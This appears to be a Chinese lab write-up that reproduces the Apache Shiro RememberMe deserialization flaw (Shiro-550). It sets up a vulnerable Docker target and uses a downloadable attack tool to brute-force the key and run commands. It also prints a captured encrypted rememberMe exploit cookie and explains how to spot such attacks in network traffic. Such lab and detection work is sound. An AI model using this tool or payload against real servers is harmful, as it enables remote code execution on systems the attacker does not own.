Shiro 反序列化漏洞复现

Shiro 反序列化漏洞复现

漏洞原理

在 Apache shiro 的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在 cookie 字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到 RememberMe Cookie 字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的 cookie 值进行身份验证,无需登录即可访问。那么显然,服务端进行对 cookie 进行验证的步骤就是:取出请求包中 rememberMe 的cookie值 => Base64解码=>AES解密(用到密钥 key )=>反序列化。

靶场搭建

链接:https://pan.baidu.com/s/1AiJEmEGdsUtOJ4NSrFzIfA?pwd=zk56
提取码:zk56

换源

vim /etc/apt/sources.list
中科大Kali镜像源
 
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

更新可用软件包的列表

apt-get update

安装 docker

apt-get install docker
apt-get install docker-compose

重启

init 6

开启 docker

service docker start

拉取 shiro 靶场镜像

docker pull medicean/vulapps:s_shiro_1

启动 shiro 靶场,映射到 kali ip 的 80 端口

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

漏洞复现

访问 kali 的 ip,点击登录

image-20231208110814445

当登陆页面有 remember Me ,记住密码类似的字样需要考虑 shiro 反序列化漏洞

image-20231208111209977

shiro 550 用户名密码随便填写,勾选 Remember Me,点击登录,抓包

image-20231208111652548

发现请求包中有 remember me 字段,返回包中有

Set-Cookie:rememberMe=deleteMe 字段,判断其为 shiro

image-20231208111755021

下载漏洞利用程序

链接:https://pan.baidu.com/s/1nyVfDzqnLn1zACDh2ws-jg?pwd=tzbm
提取码:tzbm

启动工具

java -jar shiro_attack-4.5.3-SNAPSHOT-all.jar

检测目标中输入 shiro 登录的 url,依次点击爆破密钥,爆破利用链,成功爆破

image-20231208114214008

此时可以使用如命令执行等攻击模块

image-20231208114359785

shiro 反序列化攻击的流量特征

在 shiro 攻击程序执行命令时使用 Wireshark 抓包

image-20231208115129032

筛选目的 ip 为 kali 的数据包

ip.dst==10.9.47.221

image-20231208115854014

找到 http 请求报文,shiro 攻击的特征是有超长的 rememberMe 字段,正常数据 Cookie 不会有这么长

base64 解码>解密>反序列化后为利用链的 exp

rememberMe=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

shiro 反序列化漏洞 550 和 721 版本的区别

rememberMe 字段 550 不登陆就可以写入数据

721 版本需要登录才可以写入

  • 14
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值